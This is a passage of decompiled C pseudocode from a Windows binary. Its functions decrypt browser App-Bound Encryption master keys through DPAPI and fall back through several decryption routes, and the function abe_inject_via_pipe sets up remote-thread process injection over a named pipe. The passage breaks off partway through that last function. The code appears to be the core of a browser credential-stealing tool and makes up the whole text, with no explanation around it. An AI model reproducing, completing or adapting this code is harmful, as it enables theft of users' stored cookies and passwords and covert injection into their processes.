| LODWORD(v38) = n63_1; | |
| LODWORD(v37) = n63_2; | |
| LODWORD(v39) = n63; | |
| log( | |
| "[#] Decoded size: %lu bytes, prefix: %c%c%c%c%c\n", | |
| pcbBinary_.m128i_i32[0], | |
| (unsigned __int8)pbBinary_, | |
| BYTE1(pbBinary_), | |
| v37, | |
| v38, | |
| v39); | |
| if ( n4 <= 4 ) | |
| goto LABEL_12; | |
| if ( pbBinary_ == 1112559681 ) | |
| { | |
| n8 = n4 - 4; | |
| if ( n4 - 4 <= 0x1000 ) | |
| { | |
| v34 = &v1[2].m128i_i8[8]; | |
| v1[2].m128i_i64[0] = 0x100000000LL; | |
| if ( n8 >= 8 ) | |
| { | |
| v1[2].m128i_i64[1] = v49[0]; | |
| *(_QWORD *)&v34[n8 - 8] = *(_QWORD *)&pszString[n8 + 4092]; | |
| qmemcpy( | |
| (void *)((unsigned __int64)&v1[3] & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)((char *)v49 - &v34[-((unsigned __int64)&v1[3] & 0xFFFFFFFFFFFFFFF8uLL)]), | |
| 8LL * ((n8 + (_DWORD)v34 - (((_DWORD)v1 + 48) & 0xFFFFFFF8)) >> 3)); | |
| } | |
| else if ( (n8 & 4) != 0 ) | |
| { | |
| v1[2].m128i_i32[2] = v49[0]; | |
| *(_DWORD *)&v34[n8 - 4] = *(int *)((char *)&pbBinary_ + n8); | |
| } | |
| else | |
| { | |
| v1[2].m128i_i8[8] = v49[0]; | |
| if ( (n8 & 2) != 0 ) | |
| *(_WORD *)&v34[n8 - 2] = *(_WORD *)((char *)&pbBinary_ + n8 + 2); | |
| } | |
| v1[258].m128i_i32[2] = n8; | |
| log("[#] ABE key stored, size: %lu bytes\n", n8); | |
| return v3; | |
| } | |
| log("[-] ABE key too large: %lu > %d\n", n8, 4096); | |
| } | |
| else if ( n4 == 5 ) | |
| { | |
| goto LABEL_12; | |
| } | |
| if ( pbBinary_ != 1346457668 | |
| || LOBYTE(v49[0]) != 73 | |
| || (log("[#] DPAPI prefix found, decrypting...\n"), | |
| n512 = 512, | |
| !(unsigned int)((__int64 (__fastcall *)(char *, _QWORD, __m128i *))sub_14000ECA0)( | |
| (char *)v49 + 1, | |
| n4 - 5, | |
| &pcbBinary_)) | |
| || n512 <= 4 ) | |
| { | |
| LABEL_12: | |
| log("[#] Trying direct DPAPI...\n"); | |
| n512 = 512; | |
| if ( (unsigned int)((__int64 (__fastcall *)(int *, _QWORD, __m128i *, unsigned int *))sub_14000ECA0)( | |
| &pbBinary_, | |
| n4, | |
| &pcbBinary_, | |
| &n512) | |
| && n512 > 4 ) | |
| { | |
| if ( pcbBinary_.m128i_i32[0] == 1112559681 ) | |
| { | |
| n8_1 = n512 - 4; | |
| if ( n512 - 4 <= 0x1000 ) | |
| { | |
| v1[2].m128i_i64[0] = 0x100000000LL; | |
| v11 = &v1[2].m128i_i8[8]; | |
| if ( n8_1 >= 8 ) | |
| { | |
| v1[2].m128i_i64[1] = *(__int64 *)((char *)pcbBinary_.m128i_i64 + 4); | |
| *(_QWORD *)&v11[n8_1 - 8] = *(BYTE **)((char *)&pDataOut_.pbData + n8_1 + 4); | |
| qmemcpy( | |
| (void *)((unsigned __int64)&v1[3] & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)((char *)pcbBinary_.m128i_i64 + 4 - &v11[-((unsigned __int64)&v1[3] & 0xFFFFFFFFFFFFFFF8uLL)]), | |
| 8LL * ((n8_1 + (_DWORD)v11 - (((_DWORD)v1 + 48) & 0xFFFFFFF8)) >> 3)); | |
| } | |
| else if ( (n8_1 & 4) != 0 ) | |
| { | |
| v1[2].m128i_i32[2] = pcbBinary_.m128i_i32[1]; | |
| *(_DWORD *)&v11[n8_1 - 4] = *(__int32 *)((char *)pcbBinary_.m128i_i32 + n8_1); | |
| } | |
| else if ( n8_1 ) | |
| { | |
| v1[2].m128i_i8[8] = pcbBinary_.m128i_i8[4]; | |
| if ( (n8_1 & 2) != 0 ) | |
| *(_WORD *)&v11[n8_1 - 2] = *(__int16 *)((char *)&pcbBinary_.m128i_i16[1] + n8_1); | |
| } | |
| v1[258].m128i_i32[2] = n8_1; | |
| log("[#] Direct DPAPI->ABE key stored, size: %lu\n", n8_1); | |
| return v3; | |
| } | |
| } | |
| else if ( n512 == 32 ) | |
| { | |
| v32 = _mm_loadu_si128(&pcbBinary_); | |
| v1[2].m128i_i64[0] = 1; | |
| v33 = _mm_loadu_si128(v46); | |
| *v1 = v32; | |
| v1[1] = v33; | |
| log("[#] Direct DPAPI decrypted (32 bytes)\n"); | |
| return v3; | |
| } | |
| } | |
| if ( v5 ) | |
| goto LABEL_57; | |
| log("[#] Trying raw DPAPI for old format...\n"); | |
| pDataIn_.cbData = n4; | |
| pDataIn_.pbData = (BYTE *)&pbBinary_; | |
| if ( !CryptUnprotectData(&pDataIn_, nullptr, nullptr, nullptr, nullptr, 5u, &pDataOut_) | |
| && !CryptUnprotectData(&pDataIn_, nullptr, nullptr, nullptr, nullptr, 1u, &pDataOut_) ) | |
| { | |
| goto LABEL_57; | |
| } | |
| pbData = pDataOut_.pbData; | |
| if ( pDataOut_.cbData > 4 ) | |
| { | |
| if ( *(_DWORD *)pDataOut_.pbData == 1112559681 ) | |
| { | |
| n8_2 = pDataOut_.cbData - 4; | |
| if ( pDataOut_.cbData - 4 <= 0x1000 ) | |
| { | |
| v22 = pDataOut_.pbData + 4; | |
| v1[2].m128i_i64[0] = 0x100000000LL; | |
| v23 = &v1[2].m128i_i8[8]; | |
| if ( n8_2 >= 8 ) | |
| { | |
| v1[2].m128i_i64[1] = *(_QWORD *)(pbData + 4); | |
| *(_QWORD *)&v23[n8_2 - 8] = *(_QWORD *)&v22[n8_2 - 8]; | |
| qmemcpy( | |
| (void *)((unsigned __int64)&v1[3] & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)(v22 - (BYTE *)&v23[-((unsigned __int64)&v1[3] & 0xFFFFFFFFFFFFFFF8uLL)]), | |
| 8LL * ((n8_2 + (_DWORD)v23 - (((_DWORD)v1 + 48) & 0xFFFFFFF8)) >> 3)); | |
| } | |
| else if ( (n8_2 & 4) != 0 ) | |
| { | |
| v1[2].m128i_i32[2] = *((_DWORD *)pbData + 1); | |
| *(_DWORD *)&v23[n8_2 - 4] = *(_DWORD *)&pbData[n8_2]; | |
| } | |
| else if ( n8_2 ) | |
| { | |
| v1[2].m128i_i8[8] = pbData[4]; | |
| if ( (n8_2 & 2) != 0 ) | |
| *(_WORD *)&v23[n8_2 - 2] = *(_WORD *)&v22[n8_2 - 2]; | |
| } | |
| v1[258].m128i_i32[2] = n8_2; | |
| LocalFree(pbData); | |
| log("[#] Raw DPAPI->ABE key stored, size: %lu\n", n8_2); | |
| return v3; | |
| } | |
| } | |
| else if ( pDataOut_.cbData == 32 ) | |
| { | |
| v1[2].m128i_i64[0] = 1; | |
| *v1 = _mm_loadu_si128((const __m128i *)pbData); | |
| v1[1] = _mm_loadu_si128((const __m128i *)pbData + 1); | |
| LocalFree(pbData); | |
| log("[#] Raw DPAPI decrypted (32 bytes)\n"); | |
| return v3; | |
| } | |
| } | |
| LocalFree(pDataOut_.pbData); | |
| LABEL_57: | |
| log("[-] All decryption methods failed\n"); | |
| return 0; | |
| } | |
| if ( pcbBinary_.m128i_i32[0] != 1112559681 ) | |
| { | |
| if ( n512 == 32 ) | |
| { | |
| v35 = _mm_loadu_si128(&pcbBinary_); | |
| v1[2].m128i_i64[0] = 1; | |
| v36 = _mm_loadu_si128(v46); | |
| *v1 = v35; | |
| v1[1] = v36; | |
| log("[#] DPAPI key decrypted (32 bytes)\n", v16, v17, &n512); | |
| return v3; | |
| } | |
| goto LABEL_12; | |
| } | |
| n8_3 = n512 - 4; | |
| if ( n512 - 4 > 0x1000 ) | |
| goto LABEL_12; | |
| v1[2].m128i_i64[0] = 0x100000000LL; | |
| v19 = &v1[2].m128i_i8[8]; | |
| if ( n8_3 >= 8 ) | |
| { | |
| v1[2].m128i_i64[1] = *(__int64 *)((char *)pcbBinary_.m128i_i64 + 4); | |
| *(_QWORD *)&v19[n8_3 - 8] = *(BYTE **)((char *)&pDataOut_.pbData + n8_3 + 4); | |
| qmemcpy( | |
| (void *)((unsigned __int64)&v1[3] & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)((char *)pcbBinary_.m128i_i64 + 4 - &v19[-((unsigned __int64)&v1[3] & 0xFFFFFFFFFFFFFFF8uLL)]), | |
| 8LL * (((_DWORD)v19 - (((_DWORD)v1 + 48) & 0xFFFFFFF8) + n8_3) >> 3)); | |
| } | |
| else if ( (n8_3 & 4) != 0 ) | |
| { | |
| v1[2].m128i_i32[2] = pcbBinary_.m128i_i32[1]; | |
| *(_DWORD *)&v19[n8_3 - 4] = *(__int32 *)((char *)pcbBinary_.m128i_i32 + n8_3); | |
| } | |
| else if ( n8_3 ) | |
| { | |
| v1[2].m128i_i8[8] = pcbBinary_.m128i_i8[4]; | |
| if ( (n8_3 & 2) != 0 ) | |
| *(_WORD *)&v19[n8_3 - 2] = *(__int16 *)((char *)&pcbBinary_.m128i_i16[1] + n8_3); | |
| } | |
| v1[258].m128i_i32[2] = n8_3; | |
| log("[#] DPAPI->ABE key stored, size: %lu\n", n8_3); | |
| return v3; | |
| } | |
| // positive sp value has been detected, the output may be wrong! | |
| __int64 __fastcall abe_extract_master_key(double X) | |
| { | |
| _QWORD *v1; // rdx | |
| __m128i *v2; // rbx | |
| __int64 v3; // rcx | |
| unsigned int v4; // ebp | |
| double X_1; // xmm0_8 | |
| void *v6; // rdi | |
| int v7; // r12d | |
| double X_2; // xmm0_8 | |
| double X_3; // xmm0_8 | |
| double X_4; // xmm0_8 | |
| DWORD n5; // esi | |
| int n63; // eax | |
| unsigned int n8; // edx | |
| __int8 *v14; // rax | |
| int n63_1; // edx | |
| int n63_5; // ecx | |
| BYTE *pbData; // rdx | |
| DWORD n8_1; // r12d | |
| BYTE *v20; // rsi | |
| __int8 *v21; // rax | |
| size_t n50_2; // rax | |
| __m128i *pcbBinary; // r9 | |
| char *pszString_1; // rcx | |
| unsigned __int64 n50_1; // rdx | |
| __int64 n50; // rax | |
| __int64 n2; // r8 | |
| __int64 v28; // rcx | |
| __int64 v29; // r8 | |
| __m128i v30; // xmm2 | |
| __m128i v31; // xmm3 | |
| __m128i v32; // xmm0 | |
| __int8 *v33; // rcx | |
| __m128i v34; // xmm4 | |
| __m128i v35; // xmm5 | |
| int n63_4; // [rsp+20h] [rbp-2298h] | |
| int n63_3; // [rsp+28h] [rbp-2290h] | |
| int n63_2; // [rsp+30h] [rbp-2288h] | |
| int v39; // [rsp+50h] [rbp-2268h] BYREF | |
| unsigned int n512; // [rsp+54h] [rbp-2264h] BYREF | |
| void *v41; // [rsp+58h] [rbp-2260h] BYREF | |
| DATA_BLOB pDataIn_; // [rsp+60h] [rbp-2258h] BYREF | |
| DATA_BLOB pDataOut_; // [rsp+70h] [rbp-2248h] BYREF | |
| __m128i pcbBinary_; // [rsp+80h] [rbp-2238h] BYREF | |
| __m128i v45[31]; // [rsp+90h] [rbp-2228h] BYREF | |
| char pszString[4096]; // [rsp+280h] [rbp-2038h] BYREF | |
| int pbBinary_; // [rsp+1280h] [rbp-1038h] BYREF | |
| _QWORD v48[516]; // [rsp+1284h] [rbp-1034h] BYREF | |
| sub_140027320(); | |
| v2 = (__m128i *)v1; | |
| v39 = 0; | |
| v41 = nullptr; | |
| *v1 = 0; | |
| *(_QWORD *)((char *)v1 + 4132) = 0; | |
| memset( | |
| (void *)((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8uLL), | |
| 0, | |
| 8LL * (((unsigned int)v1 - (((_DWORD)v1 + 8) & 0xFFFFFFF8) + 4140) >> 3)); | |
| v4 = ((__int64 (__fastcall *)(__int64, void **, int *))sub_14000EDA0)(v3, &v41, &v39); | |
| if ( !v4 ) | |
| goto LABEL_23; | |
| X_1 = log(X); | |
| v6 = v41; | |
| v7 = ((__int64 (__fastcall *)(void *, char *, __int64))sub_14000EEE0)(v41, pszString, 4096); | |
| if ( !v7 && !(unsigned int)((__int64 (__fastcall *)(void *, char *, __int64))sub_14000EF60)(v6, pszString, 4096) ) | |
| { | |
| log(X_1); | |
| free(v6); | |
| return 0; | |
| } | |
| X_2 = log(X_1); | |
| free(v6); | |
| X_3 = log(X_2); | |
| strlen(pszString); | |
| X_4 = log(X_3); | |
| pcbBinary_.m128i_i32[0] = 4096; | |
| if ( !CryptStringToBinaryA(pszString, 0, 1u, (BYTE *)&pbBinary_, (DWORD *)&pcbBinary_, nullptr, nullptr) ) | |
| { | |
| n50_2 = strlen(pszString); | |
| pcbBinary = &pcbBinary_; | |
| pszString_1 = pszString; | |
| n50_1 = n50_2; | |
| n50 = 50; | |
| if ( n50_1 <= 0x32 ) | |
| n50 = n50_1; | |
| if ( (unsigned int)n50 >= 8 ) | |
| { | |
| LODWORD(v28) = 0; | |
| do | |
| { | |
| v29 = (unsigned int)v28; | |
| v28 = (unsigned int)(v28 + 8); | |
| *(__int64 *)((char *)pcbBinary_.m128i_i64 + v29) = *(_QWORD *)&pszString[v29]; | |
| } | |
| while ( (unsigned int)v28 < ((unsigned int)n50 & 0xFFFFFFF8) ); | |
| pcbBinary = (__m128i *)((char *)&pcbBinary_ + v28); | |
| pszString_1 = &pszString[v28]; | |
| } | |
| n2 = 0; | |
| if ( (n50 & 4) != 0 ) | |
| { | |
| pcbBinary->m128i_i32[0] = *(_DWORD *)pszString_1; | |
| n2 = 2; | |
| } | |
| if ( (n50 & 2) != 0 ) | |
| { | |
| pcbBinary->m128i_i16[n2] = *(_WORD *)&pszString_1[n2 * 2]; | |
| ++n2; | |
| } | |
| if ( (n50 & 1) != 0 ) | |
| pcbBinary->m128i_i8[n2 * 2] = pszString_1[n2 * 2]; | |
| pcbBinary_.m128i_i8[n50] = 0; | |
| log(X_4); | |
| return 0; | |
| } | |
| n5 = pcbBinary_.m128i_i32[0]; | |
| n63 = LOBYTE(v48[0]); | |
| if ( pcbBinary_.m128i_i32[0] > 4u ) | |
| goto LABEL_27; | |
| if ( pcbBinary_.m128i_i32[0] == 4 ) | |
| { | |
| n63 = 63; | |
| LABEL_27: | |
| n63_1 = HIBYTE(pbBinary_); | |
| LABEL_28: | |
| n63_5 = BYTE2(pbBinary_); | |
| goto LABEL_29; | |
| } | |
| if ( pcbBinary_.m128i_i32[0] == 3 ) | |
| { | |
| n63_1 = 63; | |
| n63 = 63; | |
| goto LABEL_28; | |
| } | |
| if ( pcbBinary_.m128i_i32[0] != 2 ) | |
| { | |
| n63_2 = 63; | |
| n63_3 = 63; | |
| if ( pcbBinary_.m128i_i32[0] ) | |
| n5 = 1; | |
| n63_4 = 63; | |
| X = log(X_4); | |
| goto LABEL_12; | |
| } | |
| n63_5 = 63; | |
| n63_1 = 63; | |
| n63 = 63; | |
| LABEL_29: | |
| n63_3 = n63_1; | |
| n63_4 = n63_5; | |
| n63_2 = n63; | |
| X = log(X_4); | |
| if ( n5 > 4 ) | |
| { | |
| if ( pbBinary_ == 1112559681 ) | |
| { | |
| n8 = n5 - 4; | |
| if ( n5 - 4 <= 0x1000 ) | |
| { | |
| v33 = &v2[2].m128i_i8[8]; | |
| v2[2].m128i_i64[0] = 0x100000000LL; | |
| if ( n8 >= 8 ) | |
| { | |
| v2[2].m128i_i64[1] = v48[0]; | |
| *(_QWORD *)&v33[n8 - 8] = *(_QWORD *)&pszString[n8 + 4092]; | |
| qmemcpy( | |
| (void *)((unsigned __int64)&v2[3] & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)((char *)v48 - &v33[-((unsigned __int64)&v2[3] & 0xFFFFFFFFFFFFFFF8uLL)]), | |
| 8LL * ((n8 + (_DWORD)v33 - (((_DWORD)v2 + 48) & 0xFFFFFFF8)) >> 3)); | |
| } | |
| else if ( (n8 & 4) != 0 ) | |
| { | |
| v2[2].m128i_i32[2] = v48[0]; | |
| *(_DWORD *)&v33[n8 - 4] = *(int *)((char *)&pbBinary_ + n8); | |
| } | |
| else | |
| { | |
| v2[2].m128i_i8[8] = v48[0]; | |
| if ( (n8 & 2) != 0 ) | |
| *(_WORD *)&v33[n8 - 2] = *(_WORD *)((char *)&pbBinary_ + n8 + 2); | |
| } | |
| goto LABEL_85; | |
| } | |
| X = log(X); | |
| } | |
| else if ( n5 == 5 ) | |
| { | |
| goto LABEL_12; | |
| } | |
| if ( pbBinary_ == 1346457668 && LOBYTE(v48[0]) == 73 ) | |
| { | |
| X = log(X); | |
| n512 = 512; | |
| if ( (unsigned int)((__int64 (__fastcall *)(char *, _QWORD, __m128i *))sub_14000ECA0)( | |
| (char *)v48 + 1, | |
| n5 - 5, | |
| &pcbBinary_) ) | |
| { | |
| if ( n512 > 4 ) | |
| { | |
| if ( pcbBinary_.m128i_i32[0] == 1112559681 ) | |
| { | |
| n8 = n512 - 4; | |
| if ( n512 - 4 <= 0x1000 ) | |
| { | |
| v2[2].m128i_i64[0] = 0x100000000LL; | |
| v14 = &v2[2].m128i_i8[8]; | |
| if ( n8 < 8 ) | |
| { | |
| if ( (n8 & 4) != 0 ) | |
| { | |
| v2[2].m128i_i32[2] = pcbBinary_.m128i_i32[1]; | |
| *(_DWORD *)&v14[n8 - 4] = *(__int32 *)((char *)pcbBinary_.m128i_i32 + n8); | |
| } | |
| else if ( n8 ) | |
| { | |
| v2[2].m128i_i8[8] = pcbBinary_.m128i_i8[4]; | |
| if ( (n8 & 2) != 0 ) | |
| *(_WORD *)&v14[n8 - 2] = *(__int16 *)((char *)&pcbBinary_.m128i_i16[1] + n8); | |
| } | |
| goto LABEL_85; | |
| } | |
| goto LABEL_89; | |
| } | |
| } | |
| else if ( n512 == 32 ) | |
| { | |
| v34 = _mm_loadu_si128(&pcbBinary_); | |
| v2[2].m128i_i64[0] = 1; | |
| v35 = _mm_loadu_si128(v45); | |
| *v2 = v34; | |
| v2[1] = v35; | |
| log(X); | |
| return v4; | |
| } | |
| } | |
| } | |
| } | |
| } | |
| LABEL_12: | |
| X = log(X); | |
| n512 = 512; | |
| if ( (unsigned int)((__int64 (__fastcall *)(int *, _QWORD, __m128i *, unsigned int *, int, int, int))sub_14000ECA0)( | |
| &pbBinary_, | |
| n5, | |
| &pcbBinary_, | |
| &n512, | |
| n63_4, | |
| n63_3, | |
| n63_2) | |
| && n512 > 4 ) | |
| { | |
| if ( pcbBinary_.m128i_i32[0] == 1112559681 ) | |
| { | |
| n8 = n512 - 4; | |
| if ( n512 - 4 <= 0x1000 ) | |
| { | |
| v2[2].m128i_i64[0] = 0x100000000LL; | |
| v14 = &v2[2].m128i_i8[8]; | |
| if ( n8 < 8 ) | |
| { | |
| if ( (n8 & 4) != 0 ) | |
| { | |
| v2[2].m128i_i32[2] = pcbBinary_.m128i_i32[1]; | |
| *(_DWORD *)&v14[n8 - 4] = *(__int32 *)((char *)pcbBinary_.m128i_i32 + n8); | |
| } | |
| else if ( n8 ) | |
| { | |
| v2[2].m128i_i8[8] = pcbBinary_.m128i_i8[4]; | |
| if ( (n8 & 2) != 0 ) | |
| *(_WORD *)&v14[n8 - 2] = *(__int16 *)((char *)&pcbBinary_.m128i_i16[1] + n8); | |
| } | |
| goto LABEL_85; | |
| } | |
| LABEL_89: | |
| v2[2].m128i_i64[1] = *(__int64 *)((char *)pcbBinary_.m128i_i64 + 4); | |
| *(_QWORD *)&v14[n8 - 8] = *(BYTE **)((char *)&pDataOut_.pbData + n8 + 4); | |
| qmemcpy( | |
| (void *)((unsigned __int64)&v2[3] & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)((char *)pcbBinary_.m128i_i64 + 4 - &v14[-((unsigned __int64)&v2[3] & 0xFFFFFFFFFFFFFFF8uLL)]), | |
| 8LL * ((n8 + (_DWORD)v14 - (((_DWORD)v2 + 48) & 0xFFFFFFF8)) >> 3)); | |
| LABEL_85: | |
| v2[258].m128i_i32[2] = n8; | |
| log(X); | |
| return v4; | |
| } | |
| } | |
| else if ( n512 == 32 ) | |
| { | |
| v30 = _mm_loadu_si128(&pcbBinary_); | |
| v2[2].m128i_i64[0] = 1; | |
| v31 = _mm_loadu_si128(v45); | |
| *v2 = v30; | |
| v2[1] = v31; | |
| log(X); | |
| return v4; | |
| } | |
| } | |
| if ( v7 ) | |
| goto LABEL_23; | |
| X = log(X); | |
| pDataIn_.cbData = n5; | |
| pDataIn_.pbData = (BYTE *)&pbBinary_; | |
| if ( !CryptUnprotectData(&pDataIn_, nullptr, nullptr, nullptr, nullptr, 5u, &pDataOut_) | |
| && !CryptUnprotectData(&pDataIn_, nullptr, nullptr, nullptr, nullptr, 1u, &pDataOut_) ) | |
| { | |
| goto LABEL_23; | |
| } | |
| pbData = pDataOut_.pbData; | |
| if ( pDataOut_.cbData <= 4 ) | |
| goto LABEL_56; | |
| if ( *(_DWORD *)pDataOut_.pbData != 1112559681 ) | |
| { | |
| if ( pDataOut_.cbData == 32 ) | |
| { | |
| v2[2].m128i_i64[0] = 1; | |
| v32 = _mm_loadu_si128((const __m128i *)pbData); | |
| *v2 = v32; | |
| v2[1] = _mm_loadu_si128((const __m128i *)pbData + 1); | |
| LocalFree(pbData); | |
| log(*(double *)v32.m128i_i64); | |
| return v4; | |
| } | |
| goto LABEL_56; | |
| } | |
| n8_1 = pDataOut_.cbData - 4; | |
| if ( pDataOut_.cbData - 4 > 0x1000 ) | |
| { | |
| LABEL_56: | |
| LocalFree(pDataOut_.pbData); | |
| LABEL_23: | |
| log(X); | |
| return 0; | |
| } | |
| v20 = pDataOut_.pbData + 4; | |
| v2[2].m128i_i64[0] = 0x100000000LL; | |
| v21 = &v2[2].m128i_i8[8]; | |
| if ( n8_1 >= 8 ) | |
| { | |
| v2[2].m128i_i64[1] = *(_QWORD *)(pbData + 4); | |
| *(_QWORD *)&v21[n8_1 - 8] = *(_QWORD *)&v20[n8_1 - 8]; | |
| qmemcpy( | |
| (void *)((unsigned __int64)&v2[3] & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)(v20 - (BYTE *)&v21[-((unsigned __int64)&v2[3] & 0xFFFFFFFFFFFFFFF8uLL)]), | |
| 8LL * ((n8_1 + (_DWORD)v21 - (((_DWORD)v2 + 48) & 0xFFFFFFF8)) >> 3)); | |
| } | |
| else if ( (n8_1 & 4) != 0 ) | |
| { | |
| v2[2].m128i_i32[2] = *((_DWORD *)pbData + 1); | |
| *(_DWORD *)&v21[n8_1 - 4] = *(_DWORD *)&pbData[n8_1]; | |
| } | |
| else if ( n8_1 ) | |
| { | |
| v2[2].m128i_i8[8] = pbData[4]; | |
| if ( (n8_1 & 2) != 0 ) | |
| *(_WORD *)&v21[n8_1 - 2] = *(_WORD *)&v20[n8_1 - 2]; | |
| } | |
| v2[258].m128i_i32[2] = n8_1; | |
| LocalFree(pbData); | |
| log(X); | |
| return v4; | |
| } | |
| __int64 __fastcall abe_inject_via_pipe(const WCHAR *a1, const void *lpBuffera, DWORD nNumberOfBytesToWrite, __int64 a4) | |
| { | |
| __int64 v5; // rbx | |
| int v6; // r15d | |
| unsigned int v7; // edi | |
| DWORD TickCount; // esi | |
| DWORD CurrentProcessId; // eax | |
| char *lpAddress_2; // rax | |
| char *lpAddress; // r15 | |
| __m128i v13; // xmm3 | |
| HANDLE *RemoteThread_1; // r11 | |
| __m128i v15; // xmm2 | |
| __m128i v16; // xmm1 | |
| unsigned int n312; // r14d | |
| char *lpAddress_3; // rbx | |
| char *v19; // rbp | |
| unsigned int n312_1; // eax | |
| int n10; // edi | |
| __m128i v22; // xmm4 | |
| int v23; // r11d | |
| int v24; // r11d | |
| int v25; // r11d | |
| int v26; // r11d | |
| int v27; // r11d | |
| int v28; // r11d | |
| int v29; // r11d | |
| unsigned int *v30; // rax | |
| const __m128i *v31; // r10 | |
| __m128i *RemoteThread_2; // rdx | |
| __m128i v33; // xmm0 | |
| __int64 i; // rax | |
| char *v35; // rax | |
| unsigned int v36; // ecx | |
| unsigned __int16 v37; // dx | |
| char *v38; // r9 | |
| char *v39; // rax | |
| unsigned int v40; // edx | |
| unsigned int v41; // ecx | |
| char *v42; // rdi | |
| char *v43; // rax | |
| unsigned int v44; // ecx | |
| unsigned int v45; // edx | |
| __int64 v46; // r14 | |
| unsigned int v47; // ecx | |
| char *v48; // rax | |
| unsigned int v49; // edx | |
| unsigned int v50; // ecx | |
| char *v51; // rax | |
| unsigned int v52; // edx | |
| __int64 v53; // rcx | |
| unsigned int v54; // eax | |
| __int64 v55; // rdi | |
| __int64 v56; // rsi | |
| char *v57; // rbp | |
| unsigned int v58; // ecx | |
| char *v59; // rax | |
| unsigned int v60; // edx | |
| const char *Str1; // rcx | |
| __int64 v62; // r8 | |
| unsigned int v63; // edx | |
| char *v64; // rcx | |
| unsigned int v65; // eax | |
| HANDLE hProcess; // r13 | |
| HMODULE ModuleHandleW; // rax | |
| const void *lpBuffera_1; // r10 | |
| wchar_t *RemoteThread_4; // r11 | |
| FARPROC IsWow64Process2; // rax | |
| int v71; // eax | |
| __int16 v72; // ax | |
| size_t v73; // rax | |
| int Stringd_1; // eax | |
| int v75; // eax | |
| char *lpAddress_1; // rcx | |
| int v77; // r15d | |
| wchar_t *RemoteThread_6; // r11 | |
| void *lpParameter; // r15 | |
| int v80; // eax | |
| int v81; // eax | |
| ULONG (__stdcall *lpStartAddress)(PVOID); // rbp | |
| int v83; // eax | |
| wchar_t *RemoteThread_7; // r11 | |
| LPCVOID lpBufferb_1; // r10 | |
| HANDLE RemoteThread_9; // rsi | |
| BOOL (__stdcall *__imp_CloseHandle)(HANDLE); // rbp | |
| DWORD v88; // r12d | |
| BOOL v89; // eax | |
| wchar_t *RemoteThread_10; // r11 | |
| BOOL v91; // eax | |
| BOOL v92; // eax | |
| HMODULE hModule; // rax | |
| FARPROC NtCreateThreadEx; // rax | |
| int v95; // eax | |
| HANDLE RemoteThread_12; // rax | |
| WINERROR LastError; // eax | |
| _BYTE *lpBuffer; // rax | |
| _BYTE *lpBuffer_1; // r12 | |
| BOOL v100; // eax | |
| wchar_t *RemoteThread_11; // r11 | |
| __m128i v102; // xmm5 | |
| HANDLE hObject; // [rsp+60h] [rbp-348h] | |
| wchar_t *RemoteThread_8; // [rsp+68h] [rbp-340h] | |
| wchar_t *Stringc; // [rsp+68h] [rbp-340h] | |
| wchar_t *Stringa; // [rsp+68h] [rbp-340h] | |
| NTSTATUS Stringd; // [rsp+68h] [rbp-340h] | |
| wchar_t *Stringb; // [rsp+68h] [rbp-340h] | |
| wchar_t *Stringe; // [rsp+68h] [rbp-340h] | |
| wchar_t *Stringf; // [rsp+68h] [rbp-340h] | |
| char *v111; // [rsp+70h] [rbp-338h] | |
| HANDLE hThread; // [rsp+70h] [rbp-338h] | |
| __int64 v113; // [rsp+78h] [rbp-330h] | |
| wchar_t *RemoteThread_5; // [rsp+78h] [rbp-330h] | |
| DWORD nNumberOfBytesToRead; // [rsp+78h] [rbp-330h] | |
| int n19968[2]; // [rsp+80h] [rbp-328h] | |
| int n19968a; // [rsp+80h] [rbp-328h] | |
| unsigned int v118; // [rsp+90h] [rbp-318h] | |
| HANDLE *RemoteThread_3; // [rsp+98h] [rbp-310h] | |
| int v120; // [rsp+ACh] [rbp-2FCh] BYREF | |
| DWORD lpNumberOfBytesWritten_; // [rsp+B0h] [rbp-2F8h] BYREF | |
| DWORD NumberOfBytesRead; // [rsp+B4h] [rbp-2F4h] BYREF | |
| unsigned int v123[2]; // [rsp+B8h] [rbp-2F0h] BYREF | |
| struct _PROCESS_INFORMATION ProcessInformation; // [rsp+C0h] [rbp-2E8h] BYREF | |
| struct _OVERLAPPED Overlapped; // [rsp+E0h] [rbp-2C8h] BYREF | |
| __m128i lpBuffer_2[3]; // [rsp+100h] [rbp-2A8h] BYREF | |
| unsigned int v127[2]; // [rsp+130h] [rbp-278h] BYREF | |
| _OWORD v128[3]; // [rsp+170h] [rbp-238h] BYREF | |
| __m128i v129; // [rsp+1A0h] [rbp-208h] BYREF | |
| HANDLE RemoteThread[6]; // [rsp+1B0h] [rbp-1F8h] BYREF | |
| __m128i v131; // [rsp+1E0h] [rbp-1C8h] | |
| struct _STARTUPINFOW lpStartupInfo; // [rsp+1F0h] [rbp-1B8h] BYREF | |
| wchar_t Buffer[164]; // [rsp+260h] [rbp-148h] BYREF | |
| LPCVOID lpBufferb; // [rsp+3B8h] [rbp+10h] | |
| LPCVOID lpBufferc; // [rsp+3B8h] [rbp+10h] | |
| LPCVOID lpBufferd; // [rsp+3B8h] [rbp+10h] | |
| DWORD nNumberOfBytesToWritea; // [rsp+3C0h] [rbp+18h] BYREF | |
| __int64 v139; // [rsp+3C8h] [rbp+20h] | |
| v5 = a4; | |
| nNumberOfBytesToWritea = nNumberOfBytesToWrite; | |
| memset(&lpStartupInfo, 0, sizeof(lpStartupInfo)); | |
| memset(&ProcessInformation, 0, sizeof(ProcessInformation)); | |
| *(_QWORD *)v123 = 0; | |
| memset(&Overlapped, 0, sizeof(Overlapped)); | |
| memset(lpBuffer_2, 0, 44); | |
| if ( !a1 ) | |
| { | |
| if ( !a4 ) | |
| return 0; | |
| goto LABEL_11; | |
| } | |
| if ( !a4 ) | |
| return 0; | |
| if ( !nNumberOfBytesToWrite || !lpBuffera ) | |
| { | |
| LABEL_11: | |
| *(_DWORD *)(a4 + 36) = 87; | |
| return 0; | |
| } | |
| *(_QWORD *)(a4 + 32) = 0; | |
| *(_OWORD *)a4 = 0; | |
| v6 = dword_1400A0E20; | |
| *(_OWORD *)(a4 + 16) = 0; | |
| if ( !v6 ) | |
| { | |
| *(_DWORD *)(a4 + 36) = 21; | |
| return 0; | |
| } | |
| if ( !a1[264] ) | |
| { | |
